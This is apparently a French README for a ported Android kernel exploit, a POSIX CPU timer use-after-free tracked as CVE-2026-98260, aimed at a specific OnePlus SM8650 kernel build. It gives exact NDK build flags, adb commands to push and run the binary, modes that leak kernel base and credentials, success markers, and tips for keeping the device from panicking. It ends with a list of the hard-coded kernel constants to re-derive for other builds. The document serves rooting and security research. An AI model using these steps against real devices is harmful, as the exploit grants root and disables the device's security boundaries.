
Exploit use-after-free de la minuterie CPU POSIX du noyau Android pour CVE-2026-98260, permettant d'obtenir un shell uid=0 ou un late-load KernelSU via de faux identifiants sur les appareils SM8650.
Portage de l'UAF du timer CPU POSIX CVE-2026-98260 pour 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)
Deux chaînes :
timer : zéro écriture de cred réel → uid=0, u:r:shell:s0 (root du domaine shell, bset caps)timer fake : fake cred (full caps) → late-load de libksud.so de KernelSU installé| Chemin | Résultat |
|---|---|
zéro écriture de cred réel + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | libksud.so installé (uapi 6), KSU_LOADED, su en u:r:ksu:s0 |
u:r:shell:s0), peut lire tracefs et /proc/slabinfome.weishu.kernelsu), fake utilise automatiquement son lib/arm64/libksud.soNDK 28.2 (aarch64, API 35) :
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# Diagnostic
adb shell /data/local/tmp/timer ids # sonde l'id d'événement de page tracefs
adb shell /data/local/tmp/timer leak # effectue uniquement la fuite base/cred/task, sans déclencher l'UAF
# shell uid-0 (cred réel)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # sh interactif
# KernelSU (fake cred + ksud installé) —— exécution au premier plan, journaux affichés en temps réel
adb shell /data/local/tmp/timer fake
# après avoir vu "[!] fake cred page held; reboot to clean", vous pouvez fermer directement le terminal
# (lors du park, SIGHUP/SIGINT/SIGTERM sont déjà ignorés ; le processus continue de détenir la page fake cred et ne sera pas tué par erreur par Ctrl-C/déconnexion)
# Si vous devez encore conserver les journaux côté appareil (tout en les affichant en temps réel) :
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'
Signes de succès de fake :
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
fake, le processus parent se parque également, en conservant la page de cred fake via un sockettimeout/kill sur les processus parqués, sinon le recyclage par init du nœud obsolète peut provoquer un panicpark_forever() ignore SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, donc en exécution au premier plan, vous pouvez vous détacher en toute sécurité avec Ctrl-C ou en fermant le terminal adb ; la terminaison réelle ne peut se faire que par SIGKILL (ou un redémarrage)timer/timer.c exploit
timer/timer artefact statique
tools/*.c sources de diagnostic du portage
Les constantes clés sont codées en dur dans timer/timer.c : sites do_timer_create/copy_process, selinux_state, panic_on_warn, taille du cache de tâches de copy_process, symboles init_*
Lors d'un changement de noyau, redérivez avec le boot.img/BTF/kallsyms de l'appareil ; les fichiers sous tools/ servent à vérifier le call site, le raw record, la fuite du timer et le canal de récupération AF_UNIX de 8 Kio
woshigenm/CVE-2026-98260 (MIT) : trigger, zéro écriture sur les real-cred, idées fake cred/KSUghostlock-app : phase finale du late-load de KernelSU